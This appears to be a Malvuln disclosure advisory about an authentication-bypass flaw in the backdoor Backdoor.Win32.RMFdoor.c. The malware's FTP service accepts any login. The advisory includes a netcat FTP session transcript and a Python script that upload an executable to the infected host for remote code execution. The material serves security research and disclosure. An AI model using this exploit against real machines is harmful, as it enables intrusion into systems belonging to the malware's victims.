Backdoor.Win32.RMFdoor.c malware suffers from bypass and code execution vulnerabilities.
03b0071dcdb16f4d5a5711e7c1362970Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/5e2e6ca532c20ee6a59861d936df7076.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.RMFdoor.c
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP ports 21, 14920. Attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 5e2e6ca532c20ee6a59861d936df7076
Vuln ID: MVID-2021-0220
Disclosure: 05/18/2021
Exploit/PoC:
nc64.exe 192.168.18.127 21
220 ICS FTP Server ready.
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,127,195,52).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *
MALWARE_HOST="192.168.18.127"
#195 * 256 + 52 = 49972
PORT=49972
DOOM="DOOM.exe"
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
s.close()
print("Backdoor.Win32.RMFdoor.c / Authentication Bypass RCE")
print("MD5: 5e2e6ca532c20ee6a59861d936df7076")
print("By Malvuln");
if __name__=="__main__":
doit()
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